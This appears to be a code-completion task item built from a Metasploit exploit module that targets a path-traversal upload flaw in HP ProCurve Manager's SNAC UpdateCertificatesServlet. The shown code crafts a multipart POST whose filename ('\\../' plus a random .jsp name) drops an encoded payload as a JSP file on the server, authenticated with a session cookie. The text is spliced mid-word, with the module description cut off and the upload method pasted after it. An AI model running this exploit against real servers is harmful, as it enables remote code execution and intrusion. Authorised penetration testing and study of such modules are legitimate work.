You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: hp_pcm_snac_update_certificates.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload',
      'Description'    => %q{
        This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The
        vulnerability in the UpdateCertificatesServlet allows an attacker to upl
    
  def exploit_upload(session)
    jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp"
    rand_password = rand_text_alpha(4 + rand(10))
    post_message = Rex::MIME::Message.new
    post_message.add_part(payload.encoded, "application/x-pkcs12", nil, "form-data; name=\"importFile\"; filename=\"\\../#{jsp_name}\"")
    post_message.add_part(rand_password, nil, nil, "form-data; name=\"importPasswd\"")
    post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"")
    post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"")
    data = post_message.to_s

    res = send_request_cgi(
      {
        'uri'    => "/RegWeb/RegWeb/UpdateCertificatesServlet",
        'method' => 'POST',
        'ctype'    => "multipart/form-data; boundary=#{post_message.bound}",
        'cookie' => session,
        'data'    => data,
      })

    if res and res.code == 200 and res.body =~ /Certificate import fails/
      return jsp_name
    end